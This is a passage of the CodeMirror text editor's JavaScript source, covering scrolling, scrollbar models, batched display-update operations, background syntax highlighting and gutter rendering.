  // operation (to be applied when the operation finishes).
  function addToScrollTop(cm, top) {
    if (top == null) { return }
    resolveScrollToPos(cm);
    cm.curOp.scrollTop = (cm.curOp.scrollTop == null ? cm.doc.scrollTop : cm.curOp.scrollTop) + top;
  }

  // Make sure that at the end of the operation the current cursor is
  // shown.
  function ensureCursorVisible(cm) {
    resolveScrollToPos(cm);
    var cur = cm.getCursor();
    cm.curOp.scrollToPos = {from: cur, to: cur, margin: cm.options.cursorScrollMargin};
  }

  function scrollToCoords(cm, x, y) {
    if (x != null || y != null) { resolveScrollToPos(cm); }
    if (x != null) { cm.curOp.scrollLeft = x; }
    if (y != null) { cm.curOp.scrollTop = y; }
  }

  function scrollToRange(cm, range) {
    resolveScrollToPos(cm);
    cm.curOp.scrollToPos = range;
  }

  // When an operation has its scrollToPos property set, and another
  // scroll action is applied before the end of the operation, this
  // 'simulates' scrolling that position into view in a cheap way, so
  // that the effect of intermediate scroll commands is not ignored.
  function resolveScrollToPos(cm) {
    var range = cm.curOp.scrollToPos;
    if (range) {
      cm.curOp.scrollToPos = null;
      var from = estimateCoords(cm, range.from), to = estimateCoords(cm, range.to);
      scrollToCoordsRange(cm, from, to, range.margin);
    }
  }

  function scrollToCoordsRange(cm, from, to, margin) {
    var sPos = calculateScrollPos(cm, {
      left: Math.min(from.left, to.left),
      top: Math.min(from.top, to.top) - margin,
      right: Math.max(from.right, to.right),
      bottom: Math.max(from.bottom, to.bottom) + margin
    });
    scrollToCoords(cm, sPos.scrollLeft, sPos.scrollTop);
  }

  // Sync the scrollable area and scrollbars, ensure the viewport
  // covers the visible area.
  function updateScrollTop(cm, val) {
    if (Math.abs(cm.doc.scrollTop - val) < 2) { return }
    if (!gecko) { updateDisplaySimple(cm, {top: val}); }
    setScrollTop(cm, val, true);
    if (gecko) { updateDisplaySimple(cm); }
    startWorker(cm, 100);
  }

  function setScrollTop(cm, val, forceScroll) {
    val = Math.max(0, Math.min(cm.display.scroller.scrollHeight - cm.display.scroller.clientHeight, val));
    if (cm.display.scroller.scrollTop == val && !forceScroll) { return }
    cm.doc.scrollTop = val;
    cm.display.scrollbars.setScrollTop(val);
    if (cm.display.scroller.scrollTop != val) { cm.display.scroller.scrollTop = val; }
  }

  // Sync scroller and scrollbar, ensure the gutter elements are
  // aligned.
  function setScrollLeft(cm, val, isScroller, forceScroll) {
    val = Math.max(0, Math.min(val, cm.display.scroller.scrollWidth - cm.display.scroller.clientWidth));
    if ((isScroller ? val == cm.doc.scrollLeft : Math.abs(cm.doc.scrollLeft - val) < 2) && !forceScroll) { return }
    cm.doc.scrollLeft = val;
    alignHorizontally(cm);
    if (cm.display.scroller.scrollLeft != val) { cm.display.scroller.scrollLeft = val; }
    cm.display.scrollbars.setScrollLeft(val);
  }

  // SCROLLBARS

  // Prepare DOM reads needed to update the scrollbars. Done in one
  // shot to minimize update/measure roundtrips.
  function measureForScrollbars(cm) {
    var d = cm.display, gutterW = d.gutters.offsetWidth;
    var docH = Math.round(cm.doc.height + paddingVert(cm.display));
    return {
      clientHeight: d.scroller.clientHeight,
      viewHeight: d.wrapper.clientHeight,
      scrollWidth: d.scroller.scrollWidth, clientWidth: d.scroller.clientWidth,
      viewWidth: d.wrapper.clientWidth,
      barLeft: cm.options.fixedGutter ? gutterW : 0,
      docHeight: docH,
      scrollHeight: docH + scrollGap(cm) + d.barHeight,
      nativeBarWidth: d.nativeBarWidth,
      gutterWidth: gutterW
    }
  }

  var NativeScrollbars = function(place, scroll, cm) {
    this.cm = cm;
    var vert = this.vert = elt("div", [elt("div", null, null, "min-width: 1px")], "CodeMirror-vscrollbar");
    var horiz = this.horiz = elt("div", [elt("div", null, null, "height: 100%; min-height: 1px")], "CodeMirror-hscrollbar");
    vert.tabIndex = horiz.tabIndex = -1;
    place(vert); place(horiz);

    on(vert, "scroll", function () {
      if (vert.clientHeight) { scroll(vert.scrollTop, "vertical"); }
    });
    on(horiz, "scroll", function () {
      if (horiz.clientWidth) { scroll(horiz.scrollLeft, "horizontal"); }
    });

    this.checkedZeroWidth = false;
    // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).
    if (ie && ie_version < 8) { this.horiz.style.minHeight = this.vert.style.minWidth = "18px"; }
  };

  NativeScrollbars.prototype.update = function (measure) {
    var needsH = measure.scrollWidth > measure.clientWidth + 1;
    var needsV = measure.scrollHeight > measure.clientHeight + 1;
    var sWidth = measure.nativeBarWidth;

    if (needsV) {
      this.vert.style.display = "block";
      this.vert.style.bottom = needsH ? sWidth + "px" : "0";
      var totalHeight = measure.viewHeight - (needsH ? sWidth : 0);
      // A bug in IE8 can cause this value to be negative, so guard it.
      this.vert.firstChild.style.height =
        Math.max(0, measure.scrollHeight - measure.clientHeight + totalHeight) + "px";
    } else {
      this.vert.style.display = "";
      this.vert.firstChild.style.height = "0";
    }

    if (needsH) {
      this.horiz.style.display = "block";
      this.horiz.style.right = needsV ? sWidth + "px" : "0";
      this.horiz.style.left = measure.barLeft + "px";
      var totalWidth = measure.viewWidth - measure.barLeft - (needsV ? sWidth : 0);
      this.horiz.firstChild.style.width =
        Math.max(0, measure.scrollWidth - measure.clientWidth + totalWidth) + "px";
    } else {
      this.horiz.style.display = "";
      this.horiz.firstChild.style.width = "0";
    }

    if (!this.checkedZeroWidth && measure.clientHeight > 0) {
      if (sWidth == 0) { this.zeroWidthHack(); }
      this.checkedZeroWidth = true;
    }

    return {right: needsV ? sWidth : 0, bottom: needsH ? sWidth : 0}
  };

  NativeScrollbars.prototype.setScrollLeft = function (pos) {
    if (this.horiz.scrollLeft != pos) { this.horiz.scrollLeft = pos; }
    if (this.disableHoriz) { this.enableZeroWidthBar(this.horiz, this.disableHoriz, "horiz"); }
  };

  NativeScrollbars.prototype.setScrollTop = function (pos) {
    if (this.vert.scrollTop != pos) { this.vert.scrollTop = pos; }
    if (this.disableVert) { this.enableZeroWidthBar(this.vert, this.disableVert, "vert"); }
  };

  NativeScrollbars.prototype.zeroWidthHack = function () {
    var w = mac && !mac_geMountainLion ? "12px" : "18px";
    this.horiz.style.height = this.vert.style.width = w;
    this.horiz.style.pointerEvents = this.vert.style.pointerEvents = "none";
    this.disableHoriz = new Delayed;
    this.disableVert = new Delayed;
  };

  NativeScrollbars.prototype.enableZeroWidthBar = function (bar, delay, type) {
    bar.style.pointerEvents = "auto";
    function maybeDisable() {
      // To find out whether the scrollbar is still visible, we
      // check whether the element under the pixel in the bottom
      // right corner of the scrollbar box is the scrollbar box
      // itself (when the bar is still visible) or its filler child
      // (when the bar is hidden). If it is still visible, we keep
      // it enabled, if it's hidden, we disable pointer events.
      var box = bar.getBoundingClientRect();
      var elt = type == "vert" ? document.elementFromPoint(box.right - 1, (box.top + box.bottom) / 2)
          : document.elementFromPoint((box.right + box.left) / 2, box.bottom - 1);
      if (elt != bar) { bar.style.pointerEvents = "none"; }
      else { delay.set(1000, maybeDisable); }
    }
    delay.set(1000, maybeDisable);
  };

  NativeScrollbars.prototype.clear = function () {
    var parent = this.horiz.parentNode;
    parent.removeChild(this.horiz);
    parent.removeChild(this.vert);
  };

  var NullScrollbars = function () {};

  NullScrollbars.prototype.update = function () { return {bottom: 0, right: 0} };
  NullScrollbars.prototype.setScrollLeft = function () {};
  NullScrollbars.prototype.setScrollTop = function () {};
  NullScrollbars.prototype.clear = function () {};

  function updateScrollbars(cm, measure) {
    if (!measure) { measure = measureForScrollbars(cm); }
    var startWidth = cm.display.barWidth, startHeight = cm.display.barHeight;
    updateScrollbarsInner(cm, measure);
    for (var i = 0; i < 4 && startWidth != cm.display.barWidth || startHeight != cm.display.barHeight; i++) {
      if (startWidth != cm.display.barWidth && cm.options.lineWrapping)
        { updateHeightsInViewport(cm); }
      updateScrollbarsInner(cm, measureForScrollbars(cm));
      startWidth = cm.display.barWidth; startHeight = cm.display.barHeight;
    }
  }

  // Re-synchronize the fake scrollbars with the actual size of the
  // content.
  function updateScrollbarsInner(cm, measure) {
    var d = cm.display;
    var sizes = d.scrollbars.update(measure);

    d.sizer.style.paddingRight = (d.barWidth = sizes.right) + "px";
    d.sizer.style.paddingBottom = (d.barHeight = sizes.bottom) + "px";
    d.heightForcer.style.borderBottom = sizes.bottom + "px solid transparent";

    if (sizes.right && sizes.bottom) {
      d.scrollbarFiller.style.display = "block";
      d.scrollbarFiller.style.height = sizes.bottom + "px";
      d.scrollbarFiller.style.width = sizes.right + "px";
    } else { d.scrollbarFiller.style.display = ""; }
    if (sizes.bottom && cm.options.coverGutterNextToScrollbar && cm.options.fixedGutter) {
      d.gutterFiller.style.display = "block";
      d.gutterFiller.style.height = sizes.bottom + "px";
      d.gutterFiller.style.width = measure.gutterWidth + "px";
    } else { d.gutterFiller.style.display = ""; }
  }

  var scrollbarModel = {"native": NativeScrollbars, "null": NullScrollbars};

  function initScrollbars(cm) {
    if (cm.display.scrollbars) {
      cm.display.scrollbars.clear();
      if (cm.display.scrollbars.addClass)
        { rmClass(cm.display.wrapper, cm.display.scrollbars.addClass); }
    }

    cm.display.scrollbars = new scrollbarModel[cm.options.scrollbarStyle](function (node) {
      cm.display.wrapper.insertBefore(node, cm.display.scrollbarFiller);
      // Prevent clicks in the scrollbars from killing focus
      on(node, "mousedown", function () {
        if (cm.state.focused) { setTimeout(function () { return cm.display.input.focus(); }, 0); }
      });
      node.setAttribute("cm-not-content", "true");
    }, function (pos, axis) {
      if (axis == "horizontal") { setScrollLeft(cm, pos); }
      else { updateScrollTop(cm, pos); }
    }, cm);
    if (cm.display.scrollbars.addClass)
      { addClass(cm.display.wrapper, cm.display.scrollbars.addClass); }
  }

  // Operations are used to wrap a series of changes to the editor
  // state in such a way that each change won't have to update the
  // cursor and display (which would be awkward, slow, and
  // error-prone). Instead, display updates are batched and then all
  // combined and executed at once.

  var nextOpId = 0;
  // Start a new operation.
  function startOperation(cm) {
    cm.curOp = {
      cm: cm,
      viewChanged: false,      // Flag that indicates that lines might need to be redrawn
      startHeight: cm.doc.height, // Used to detect need to update scrollbar
      forceUpdate: false,      // Used to force a redraw
      updateInput: 0,       // Whether to reset the input textarea
      typing: false,           // Whether this reset should be careful to leave existing text (for compositing)
      changeObjs: null,        // Accumulated changes, for firing change events
      cursorActivityHandlers: null, // Set of handlers to fire cursorActivity on
      cursorActivityCalled: 0, // Tracks which cursorActivity handlers have been called already
      selectionChanged: false, // Whether the selection needs to be redrawn
      updateMaxLine: false,    // Set when the widest line needs to be determined anew
      scrollLeft: null, scrollTop: null, // Intermediate scroll position, not pushed to DOM yet
      scrollToPos: null,       // Used to scroll to a specific position
      focus: false,
      id: ++nextOpId           // Unique ID
    };
    pushOperation(cm.curOp);
  }

  // Finish an operation, updating the display and signalling delayed events
  function endOperation(cm) {
    var op = cm.curOp;
    if (op) { finishOperation(op, function (group) {
      for (var i = 0; i < group.ops.length; i++)
        { group.ops[i].cm.curOp = null; }
      endOperations(group);
    }); }
  }

  // The DOM updates done when an operation finishes are batched so
  // that the minimum number of relayouts are required.
  function endOperations(group) {
    var ops = group.ops;
    for (var i = 0; i < ops.length; i++) // Read DOM
      { endOperation_R1(ops[i]); }
    for (var i$1 = 0; i$1 < ops.length; i$1++) // Write DOM (maybe)
      { endOperation_W1(ops[i$1]); }
    for (var i$2 = 0; i$2 < ops.length; i$2++) // Read DOM
      { endOperation_R2(ops[i$2]); }
    for (var i$3 = 0; i$3 < ops.length; i$3++) // Write DOM (maybe)
      { endOperation_W2(ops[i$3]); }
    for (var i$4 = 0; i$4 < ops.length; i$4++) // Read DOM
      { endOperation_finish(ops[i$4]); }
  }

  function endOperation_R1(op) {
    var cm = op.cm, display = cm.display;
    maybeClipScrollbars(cm);
    if (op.updateMaxLine) { findMaxLine(cm); }

    op.mustUpdate = op.viewChanged || op.forceUpdate || op.scrollTop != null ||
      op.scrollToPos && (op.scrollToPos.from.line < display.viewFrom ||
                         op.scrollToPos.to.line >= display.viewTo) ||
      display.maxLineChanged && cm.options.lineWrapping;
    op.update = op.mustUpdate &&
      new DisplayUpdate(cm, op.mustUpdate && {top: op.scrollTop, ensure: op.scrollToPos}, op.forceUpdate);
  }

  function endOperation_W1(op) {
    op.updatedDisplay = op.mustUpdate && updateDisplayIfNeeded(op.cm, op.update);
  }

  function endOperation_R2(op) {
    var cm = op.cm, display = cm.display;
    if (op.updatedDisplay) { updateHeightsInViewport(cm); }

    op.barMeasure = measureForScrollbars(cm);

    // If the max line changed since it was last measured, measure it,
    // and ensure the document's width matches it.
    // updateDisplay_W2 will use these properties to do the actual resizing
    if (display.maxLineChanged && !cm.options.lineWrapping) {
      op.adjustWidthTo = measureChar(cm, display.maxLine, display.maxLine.text.length).left + 3;
      cm.display.sizerWidth = op.adjustWidthTo;
      op.barMeasure.scrollWidth =
        Math.max(display.scroller.clientWidth, display.sizer.offsetLeft + op.adjustWidthTo + scrollGap(cm) + cm.display.barWidth);
      op.maxScrollLeft = Math.max(0, display.sizer.offsetLeft + op.adjustWidthTo - displayWidth(cm));
    }

    if (op.updatedDisplay || op.selectionChanged)
      { op.preparedSelection = display.input.prepareSelection(); }
  }

  function endOperation_W2(op) {
    var cm = op.cm;

    if (op.adjustWidthTo != null) {
      cm.display.sizer.style.minWidth = op.adjustWidthTo + "px";
      if (op.maxScrollLeft < cm.doc.scrollLeft)
        { setScrollLeft(cm, Math.min(cm.display.scroller.scrollLeft, op.maxScrollLeft), true); }
      cm.display.maxLineChanged = false;
    }

    var takeFocus = op.focus && op.focus == activeElt();
    if (op.preparedSelection)
      { cm.display.input.showSelection(op.preparedSelection, takeFocus); }
    if (op.updatedDisplay || op.startHeight != cm.doc.height)
      { updateScrollbars(cm, op.barMeasure); }
    if (op.updatedDisplay)
      { setDocumentHeight(cm, op.barMeasure); }

    if (op.selectionChanged) { restartBlink(cm); }

    if (cm.state.focused && op.updateInput)
      { cm.display.input.reset(op.typing); }
    if (takeFocus) { ensureFocus(op.cm); }
  }

  function endOperation_finish(op) {
    var cm = op.cm, display = cm.display, doc = cm.doc;

    if (op.updatedDisplay) { postUpdateDisplay(cm, op.update); }

    // Abort mouse wheel delta measurement, when scrolling explicitly
    if (display.wheelStartX != null && (op.scrollTop != null || op.scrollLeft != null || op.scrollToPos))
      { display.wheelStartX = display.wheelStartY = null; }

    // Propagate the scroll position to the actual DOM scroller
    if (op.scrollTop != null) { setScrollTop(cm, op.scrollTop, op.forceScroll); }

    if (op.scrollLeft != null) { setScrollLeft(cm, op.scrollLeft, true, true); }
    // If we need to scroll a specific position into view, do so.
    if (op.scrollToPos) {
      var rect = scrollPosIntoView(cm, clipPos(doc, op.scrollToPos.from),
                                   clipPos(doc, op.scrollToPos.to), op.scrollToPos.margin);
      maybeScrollWindow(cm, rect);
    }

    // Fire events for markers that are hidden/unidden by editing or
    // undoing
    var hidden = op.maybeHiddenMarkers, unhidden = op.maybeUnhiddenMarkers;
    if (hidden) { for (var i = 0; i < hidden.length; ++i)
      { if (!hidden[i].lines.length) { signal(hidden[i], "hide"); } } }
    if (unhidden) { for (var i$1 = 0; i$1 < unhidden.length; ++i$1)
      { if (unhidden[i$1].lines.length) { signal(unhidden[i$1], "unhide"); } } }

    if (display.wrapper.offsetHeight)
      { doc.scrollTop = cm.display.scroller.scrollTop; }

    // Fire change events, and delayed event handlers
    if (op.changeObjs)
      { signal(cm, "changes", cm, op.changeObjs); }
    if (op.update)
      { op.update.finish(); }
  }

  // Run the given function in an operation
  function runInOp(cm, f) {
    if (cm.curOp) { return f() }
    startOperation(cm);
    try { return f() }
    finally { endOperation(cm); }
  }
  // Wraps a function in an operation. Returns the wrapped function.
  function operation(cm, f) {
    return function() {
      if (cm.curOp) { return f.apply(cm, arguments) }
      startOperation(cm);
      try { return f.apply(cm, arguments) }
      finally { endOperation(cm); }
    }
  }
  // Used to add methods to editor and doc instances, wrapping them in
  // operations.
  function methodOp(f) {
    return function() {
      if (this.curOp) { return f.apply(this, arguments) }
      startOperation(this);
      try { return f.apply(this, arguments) }
      finally { endOperation(this); }
    }
  }
  function docMethodOp(f) {
    return function() {
      var cm = this.cm;
      if (!cm || cm.curOp) { return f.apply(this, arguments) }
      startOperation(cm);
      try { return f.apply(this, arguments) }
      finally { endOperation(cm); }
    }
  }

  // HIGHLIGHT WORKER

  function startWorker(cm, time) {
    if (cm.doc.highlightFrontier < cm.display.viewTo)
      { cm.state.highlight.set(time, bind(highlightWorker, cm)); }
  }

  function highlightWorker(cm) {
    var doc = cm.doc;
    if (doc.highlightFrontier >= cm.display.viewTo) { return }
    var end = +new Date + cm.options.workTime;
    var context = getContextBefore(cm, doc.highlightFrontier);
    var changedLines = [];

    doc.iter(context.line, Math.min(doc.first + doc.size, cm.display.viewTo + 500), function (line) {
      if (context.line >= cm.display.viewFrom) { // Visible
        var oldStyles = line.styles;
        var resetState = line.text.length > cm.options.maxHighlightLength ? copyState(doc.mode, context.state) : null;
        var highlighted = highlightLine(cm, line, context, true);
        if (resetState) { context.state = resetState; }
        line.styles = highlighted.styles;
        var oldCls = line.styleClasses, newCls = highlighted.classes;
        if (newCls) { line.styleClasses = newCls; }
        else if (oldCls) { line.styleClasses = null; }
        var ischange = !oldStyles || oldStyles.length != line.styles.length ||
          oldCls != newCls && (!oldCls || !newCls || oldCls.bgClass != newCls.bgClass || oldCls.textClass != newCls.textClass);
        for (var i = 0; !ischange && i < oldStyles.length; ++i) { ischange = oldStyles[i] != line.styles[i]; }
        if (ischange) { changedLines.push(context.line); }
        line.stateAfter = context.save();
        context.nextLine();
      } else {
        if (line.text.length <= cm.options.maxHighlightLength)
          { processLine(cm, line.text, context); }
        line.stateAfter = context.line % 5 == 0 ? context.save() : null;
        context.nextLine();
      }
      if (+new Date > end) {
        startWorker(cm, cm.options.workDelay);
        return true
      }
    });
    doc.highlightFrontier = context.line;
    doc.modeFrontier = Math.max(doc.modeFrontier, context.line);
    if (changedLines.length) { runInOp(cm, function () {
      for (var i = 0; i < changedLines.length; i++)
        { regLineChange(cm, changedLines[i], "text"); }
    }); }
  }

  // DISPLAY DRAWING

  var DisplayUpdate = function(cm, viewport, force) {
    var display = cm.display;

    this.viewport = viewport;
    // Store some values that we'll need later (but don't want to force a relayout for)
    this.visible = visibleLines(display, cm.doc, viewport);
    this.editorIsHidden = !display.wrapper.offsetWidth;
    this.wrapperHeight = display.wrapper.clientHeight;
    this.wrapperWidth = display.wrapper.clientWidth;
    this.oldDisplayWidth = displayWidth(cm);
    this.force = force;
    this.dims = getDimensions(cm);
    this.events = [];
  };

  DisplayUpdate.prototype.signal = function (emitter, type) {
    if (hasHandler(emitter, type))
      { this.events.push(arguments); }
  };
  DisplayUpdate.prototype.finish = function () {
    for (var i = 0; i < this.events.length; i++)
      { signal.apply(null, this.events[i]); }
  };

  function maybeClipScrollbars(cm) {
    var display = cm.display;
    if (!display.scrollbarsClipped && display.scroller.offsetWidth) {
      display.nativeBarWidth = display.scroller.offsetWidth - display.scroller.clientWidth;
      display.heightForcer.style.height = scrollGap(cm) + "px";
      display.sizer.style.marginBottom = -display.nativeBarWidth + "px";
      display.sizer.style.borderRightWidth = scrollGap(cm) + "px";
      display.scrollbarsClipped = true;
    }
  }

  function selectionSnapshot(cm) {
    if (cm.hasFocus()) { return null }
    var active = activeElt();
    if (!active || !contains(cm.display.lineDiv, active)) { return null }
    var result = {activeElt: active};
    if (window.getSelection) {
      var sel = window.getSelection();
      if (sel.anchorNode && sel.extend && contains(cm.display.lineDiv, sel.anchorNode)) {
        result.anchorNode = sel.anchorNode;
        result.anchorOffset = sel.anchorOffset;
        result.focusNode = sel.focusNode;
        result.focusOffset = sel.focusOffset;
      }
    }
    return result
  }

  function restoreSelection(snapshot) {
    if (!snapshot || !snapshot.activeElt || snapshot.activeElt == activeElt()) { return }
    snapshot.activeElt.focus();
    if (!/^(INPUT|TEXTAREA)$/.test(snapshot.activeElt.nodeName) &&
        snapshot.anchorNode && contains(document.body, snapshot.anchorNode) && contains(document.body, snapshot.focusNode)) {
      var sel = window.getSelection(), range = document.createRange();
      range.setEnd(snapshot.anchorNode, snapshot.anchorOffset);
      range.collapse(false);
      sel.removeAllRanges();
      sel.addRange(range);
      sel.extend(snapshot.focusNode, snapshot.focusOffset);
    }
  }

  // Does the actual updating of the line display. Bails out
  // (returning false) when there is nothing to be done and forced is
  // false.
  function updateDisplayIfNeeded(cm, update) {
    var display = cm.display, doc = cm.doc;

    if (update.editorIsHidden) {
      resetView(cm);
      return false
    }

    // Bail out if the visible area is already rendered and nothing changed.
    if (!update.force &&
        update.visible.from >= display.viewFrom && update.visible.to <= display.viewTo &&
        (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo) &&
        display.renderedView == display.view && countDirtyView(cm) == 0)
      { return false }

    if (maybeUpdateLineNumberWidth(cm)) {
      resetView(cm);
      update.dims = getDimensions(cm);
    }

    // Compute a suitable new viewport (from & to)
    var end = doc.first + doc.size;
    var from = Math.max(update.visible.from - cm.options.viewportMargin, doc.first);
    var to = Math.min(end, update.visible.to + cm.options.viewportMargin);
    if (display.viewFrom < from && from - display.viewFrom < 20) { from = Math.max(doc.first, display.viewFrom); }
    if (display.viewTo > to && display.viewTo - to < 20) { to = Math.min(end, display.viewTo); }
    if (sawCollapsedSpans) {
      from = visualLineNo(cm.doc, from);
      to = visualLineEndNo(cm.doc, to);
    }

    var different = from != display.viewFrom || to != display.viewTo ||
      display.lastWrapHeight != update.wrapperHeight || display.lastWrapWidth != update.wrapperWidth;
    adjustView(cm, from, to);

    display.viewOffset = heightAtLine(getLine(cm.doc, display.viewFrom));
    // Position the mover div to align with the current scroll position
    cm.display.mover.style.top = display.viewOffset + "px";

    var toUpdate = countDirtyView(cm);
    if (!different && toUpdate == 0 && !update.force && display.renderedView == display.view &&
        (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo))
      { return false }

    // For big changes, we hide the enclosing element during the
    // update, since that speeds up the operations on most browsers.
    var selSnapshot = selectionSnapshot(cm);
    if (toUpdate > 4) { display.lineDiv.style.display = "none"; }
    patchDisplay(cm, display.updateLineNumbers, update.dims);
    if (toUpdate > 4) { display.lineDiv.style.display = ""; }
    display.renderedView = display.view;
    // There might have been a widget with a focused element that got
    // hidden or updated, if so re-focus it.
    restoreSelection(selSnapshot);

    // Prevent selection and cursors from interfering with the scroll
    // width and height.
    removeChildren(display.cursorDiv);
    removeChildren(display.selectionDiv);
    display.gutters.style.height = display.sizer.style.minHeight = 0;

    if (different) {
      display.lastWrapHeight = update.wrapperHeight;
      display.lastWrapWidth = update.wrapperWidth;
      startWorker(cm, 400);
    }

    display.updateLineNumbers = null;

    return true
  }

  function postUpdateDisplay(cm, update) {
    var viewport = update.viewport;

    for (var first = true;; first = false) {
      if (!first || !cm.options.lineWrapping || update.oldDisplayWidth == displayWidth(cm)) {
        // Clip forced viewport to actual scrollable area.
        if (viewport && viewport.top != null)
          { viewport = {top: Math.min(cm.doc.height + paddingVert(cm.display) - displayHeight(cm), viewport.top)}; }
        // Updated line heights might result in the drawn area not
        // actually covering the viewport. Keep looping until it does.
        update.visible = visibleLines(cm.display, cm.doc, viewport);
        if (update.visible.from >= cm.display.viewFrom && update.visible.to <= cm.display.viewTo)
          { break }
      } else if (first) {
        update.visible = visibleLines(cm.display, cm.doc, viewport);
      }
      if (!updateDisplayIfNeeded(cm, update)) { break }
      updateHeightsInViewport(cm);
      var barMeasure = measureForScrollbars(cm);
      updateSelection(cm);
      updateScrollbars(cm, barMeasure);
      setDocumentHeight(cm, barMeasure);
      update.force = false;
    }

    update.signal(cm, "update", cm);
    if (cm.display.viewFrom != cm.display.reportedViewFrom || cm.display.viewTo != cm.display.reportedViewTo) {
      update.signal(cm, "viewportChange", cm, cm.display.viewFrom, cm.display.viewTo);
      cm.display.reportedViewFrom = cm.display.viewFrom; cm.display.reportedViewTo = cm.display.viewTo;
    }
  }

  function updateDisplaySimple(cm, viewport) {
    var update = new DisplayUpdate(cm, viewport);
    if (updateDisplayIfNeeded(cm, update)) {
      updateHeightsInViewport(cm);
      postUpdateDisplay(cm, update);
      var barMeasure = measureForScrollbars(cm);
      updateSelection(cm);
      updateScrollbars(cm, barMeasure);
      setDocumentHeight(cm, barMeasure);
      update.finish();
    }
  }

  // Sync the actual display DOM structure with display.view, removing
  // nodes for lines that are no longer in view, and creating the ones
  // that are not there yet, and updating the ones that are out of
  // date.
  function patchDisplay(cm, updateNumbersFrom, dims) {
    var display = cm.display, lineNumbers = cm.options.lineNumbers;
    var container = display.lineDiv, cur = container.firstChild;

    function rm(node) {
      var next = node.nextSibling;
      // Works around a throw-scroll bug in OS X Webkit
      if (webkit && mac && cm.display.currentWheelTarget == node)
        { node.style.display = "none"; }
      else
        { node.parentNode.removeChild(node); }
      return next
    }

    var view = display.view, lineN = display.viewFrom;
    // Loop over the elements in the view, syncing cur (the DOM nodes
    // in display.lineDiv) with the view as we go.
    for (var i = 0; i < view.length; i++) {
      var lineView = view[i];
      if (lineView.hidden) ; else if (!lineView.node || lineView.node.parentNode != container) { // Not drawn yet
        var node = buildLineElement(cm, lineView, lineN, dims);
        container.insertBefore(node, cur);
      } else { // Already drawn
        while (cur != lineView.node) { cur = rm(cur); }
        var updateNumber = lineNumbers && updateNumbersFrom != null &&
          updateNumbersFrom <= lineN && lineView.lineNumber;
        if (lineView.changes) {
          if (indexOf(lineView.changes, "gutter") > -1) { updateNumber = false; }
          updateLineForChanges(cm, lineView, lineN, dims);
        }
        if (updateNumber) {
          removeChildren(lineView.lineNumber);
          lineView.lineNumber.appendChild(document.createTextNode(lineNumberFor(cm.options, lineN)));
        }
        cur = lineView.node.nextSibling;
      }
      lineN += lineView.size;
    }
    while (cur) { cur = rm(cur); }
  }

  function updateGutterSpace(display) {
    var width = display.gutters.offsetWidth;
    display.sizer.style.marginLeft = width + "px";
  }

  function setDocumentHeight(cm, measure) {
    cm.display.sizer.style.minHeight = measure.docHeight + "px";
    cm.display.heightForcer.style.top = measure.docHeight + "px";
    cm.display.gutters.style.height = (measure.docHeight + cm.display.barHeight + scrollGap(cm)) + "px";
  }

  // Re-align line numbers and gutter marks to compensate for
  // horizontal scrolling.
  function alignHorizontally(cm) {
    var display = cm.display, view = display.view;
    if (!display.alignWidgets && (!display.gutters.firstChild || !cm.options.fixedGutter)) { return }
    var comp = compensateForHScroll(display) - display.scroller.scrollLeft + cm.doc.scrollLeft;
    var gutterW = display.gutters.offsetWidth, left = comp + "px";
    for (var i = 0; i < view.length; i++) { if (!view[i].hidden) {
      if (cm.options.fixedGutter) {
        if (view[i].gutter)
          { view[i].gutter.style.left = left; }
        if (view[i].gutterBackground)
          { view[i].gutterBackground.style.left = left; }
      }
      var align = view[i].alignable;
      if (align) { for (var j = 0; j < align.length; j++)
        { align[j].style.left = left; } }
    } }
    if (cm.options.fixedGutter)
      { display.gutters.style.left = (comp + gutterW) + "px"; }
  }

  // Used to ensure that the line number gutter is still the right
  // size for the current document size. Returns true when an update
  // is needed.
  function maybeUpdateLineNumberWidth(cm) {
    if (!cm.options.lineNumbers) { return false }
    var doc = cm.doc, last = lineNumberFor(cm.options, doc.first + doc.size - 1), display = cm.display;
    if (last.length != display.lineNumChars) {
      var test = display.measure.appendChild(elt("div", [elt("div", last)],
                                                 "CodeMirror-linenumber CodeMirror-gutter-elt"));
      var innerW = test.firstChild.offsetWidth, padding = test.offsetWidth - innerW;
      display.lineGutter.style.width = "";
      display.lineNumInnerWidth = Math.max(innerW, display.lineGutter.offsetWidth - padding) + 1;
      display.lineNumWidth = display.lineNumInnerWidth + padding;
      display.lineNumChars = display.lineNumInnerWidth ? last.length : -1;
      display.lineGutter.style.width = display.lineNumWidth + "px";
      updateGutterSpace(cm.display);
      return true
    }
    return false
  }

  function getGutters(gutters, lineNumbers) {
    var result = [], sawLineNumbers = false;
    for (var i = 0; i < gutters.length; i++) {
      var name = gutters[i], style = null;
      if (typeof name != "string") { style = name.style; name = name.className; }
      if (name == "CodeMirror-linenumbers") {
        if (!lineNumbers) { continue }
        else { sawLineNumbers = true; }
      }
      result.push({className: name, style: style});
    }
    if (lineNumbers && !sawLineNumbers) { result.push({className: "CodeMirror-linenumbers", style: null}); }
    return result
  }

  // Rebuild the gutter elements, ensure the margin to the left of the
  // code matches their width.
  function renderGutters(display) {
    var gutters = display.gutters, specs = display.gutterSpecs;
    removeChildren(gutters);
    display.lineGutter = null;
    for (var i = 0; i < specs.length; ++i) {
      var ref = specs[i];
      var className = ref.className;
      var style = ref.style;
      var gElt = gutters.appendChild(elt("div", null, "CodeMirror-gutter " + className));
      if (style) { gElt.style.cssText = style; }
      if (className == "CodeMirror-linenumbers") {
        display.lineGutter = gElt;
        gElt.style.width = (display.lineNumWidth || 1) + "px";
      }
    }
    gutters.style.display = specs.length ? "" : "none";
    updateGutterSpace(display);
  }

  function updateGutters(cm) {
    renderGutters(cm.display);
    regChange(cm);
    alignHorizontally(cm);
  }

  // The display handles the DOM integration, both for input reading
  // and content drawing. It holds references to DOM nodes and
  // display-related state.

  function Display(place, doc, input, options) {
    var d = this;
    this.input = input;

    // Covers bottom-right square when both scrollbars are present.
    d.scrollbarFiller = elt("div", null, "CodeMirror-scrollbar-filler");
    d.scrollbarFiller.setAttribute("cm-not-content", "true");
    // Covers bottom of gutter when coverGutterNextToScrollbar is on
    // and h scrollbar is present.
    d.gutterFiller = elt("div", null, "CodeMirror-gutter-filler");
    d.gutterFiller.setAttribute("cm-not-content", "true");
    // Will contain the actual code, positioned to cover the viewport.
    d.lineDiv = eltP("div", null, "CodeMirror-code");
    // Elements are added to these to represent selection and cursors.
    d.selectionDiv = elt("div", null, null, "position: relative; z-index: 1");
    d.cursorDiv = elt("div", null, "CodeMirror-cursors");
    // A visibility: hidden element used to find the size of things.
    d.measure = elt("div", null, "CodeMirror-measure");
